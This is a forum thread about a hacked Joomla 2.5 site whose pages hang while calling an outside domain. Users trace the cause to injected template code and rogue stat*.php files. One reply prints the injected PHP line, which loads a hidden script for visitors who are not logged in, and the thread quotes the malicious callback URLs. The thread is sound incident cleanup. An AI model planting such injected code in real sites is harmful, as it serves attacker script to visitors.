page loading issue

[barsara]

Hi,

Our web page loading procedure will stop in "Waiting for arpanet 1957.com..." and complete 30~40 seconds later.
This message we found is in the bottom of browser.
Did anyone see that before? How could we found out why?

Our joomla version is Joomla! 2.5.28 Stable.

Thanks in advance.

[itoctopus]

There are 2 possible reasons (that I can think of) for this problem:

- A bad extension
- A hacked website

In both cases, the website is trying to grab data from a remote location, but failing after 30 seconds (which is your PHP timeout limit).

Check your extensions and ensure your website is clean (scan it).

[barsara]

Hi,

Thanks for your reply.

We search our web source with keyword "arpanet1957.com" but nothing found. We also use some tools to scan host and it looks good. We may try to check joomla extension, but it's so many. It may be one big task and we need to think one way to do this.

[lolofr]

Have you find your issue ?

[barsara]

Not yet, we still check...

We found out this weird url will take different parameter in different client, like this
http://arpan et1957.com//plix/scaner.php?id=4&tz=8&rs=1280x800
or
http://arp anet1957.com//plix/scaner.php?id=4&tz=8&rs=1920x1080

it looks like the monitor resolution and we may try to check which module/extension handle this.
If our way is wrong, please let us know.
Thanks.

[itoctopus]

That's a hacked file. Proceed accordingly - you should cleanup your website (there are many cleanup guides on this website and elsewhere).

[barsara]

Hi,

We compare web source directory with our backup and found out a file named stat4d2.php in www/media/system/js is not in our backup.
Then we search our web source with keyword "stat4d2" and this keyword can be found in www/template/*.
So we remove some code in www/template/* and delete stat4d2.php. It looks good now, but we still check if this cause side effects.

Thanks.

[alex351]

I think you should clean your site first.

[barsara]

I think you should clean your site first.

Hi,
It's a good suggestion. Could you tell us how to clean it? Did you mean scan website, or check all source, or....
We'll appreciate if you could give us some hints. Thanks.

[ribo]

I think you should clean your site first.

Hi,
It's a good suggestion. Could you tell us how to clean it? Did you mean scan website, or check all source, or....
We'll appreciate if you could give us some hints. Thanks.

Please see the instrructions about how to clean your site from here viewtopic.php?f=714&t=945958#p3457104
It s the only way to clean it for sure. So it s good to move fast. After that migrate to the curent latest version

[barsara]

I think you should clean your site first.

Hi,
It's a good suggestion. Could you tell us how to clean it? Did you mean scan website, or check all source, or....
We'll appreciate if you could give us some hints. Thanks.

Please see the instrructions about how to clean your site from here viewtopic.php?f=714&t=945958#p3457104
It s the only way to clean it for sure. So it s good to move fast. After that migrate to the curent latest version

Hi,

Thanks for your information. We'll check.

[drale01]

I have same problem and I cleaned code from every index.php in my /templates/* there was 8 templates
<?php $_a486c270=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " <script language=JavaScript id=onDate ></script> <script language=JavaScript src=/media/system/js/stata48.php ></script> ";};$_a486c270=1; ?>
So be sure to clean every index.php from every template.
Also I had stata48.php file in /media/system/js/ and in one more place (I can't remember). So you need to search all you files for stat*.php

Barsara, did google remove your site from dangerous?